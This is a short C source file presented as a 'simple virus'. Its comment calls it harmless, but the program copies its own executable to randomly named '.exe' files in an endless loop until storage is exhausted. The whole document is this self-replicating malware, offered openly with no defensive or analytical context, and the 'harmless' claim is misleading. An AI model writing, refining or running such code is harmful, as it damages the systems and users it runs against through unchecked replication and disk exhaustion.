Simple Virus

/* simple-virus.c by Braden Best
 * Harmless virus that copies itself foever
 */

#include <stdio.h>
#include <stdlib.h>

#define FILE_TEMPLATE "XXXXX.exe"

char randletter(){
    return (rand() % 2 ? 'a' : 'A') + rand() % 26;
}

void randfname(char *str){
    while(*str)
        *(str++) = randletter();

    strcpy(str - 4, ".exe");
}

void filecp(FILE *dest, FILE *src){
    int c;

    while((c = fgetc(src)) != EOF)
        fputc(c, dest);
}

void copyself(char *self, char *fname){
    FILE *src = fopen(self, "rb"),
         *dest = fopen(fname, "wb");

    filecp(dest, src);

    fclose(src);
    fclose(dest);
}

int main(int _, char **args){
    char fname[] = FILE_TEMPLATE,
         *self = *args;

    srand(time(0));

    while(1){
        randfname(fname);
        copyself(self, fname);
    }
}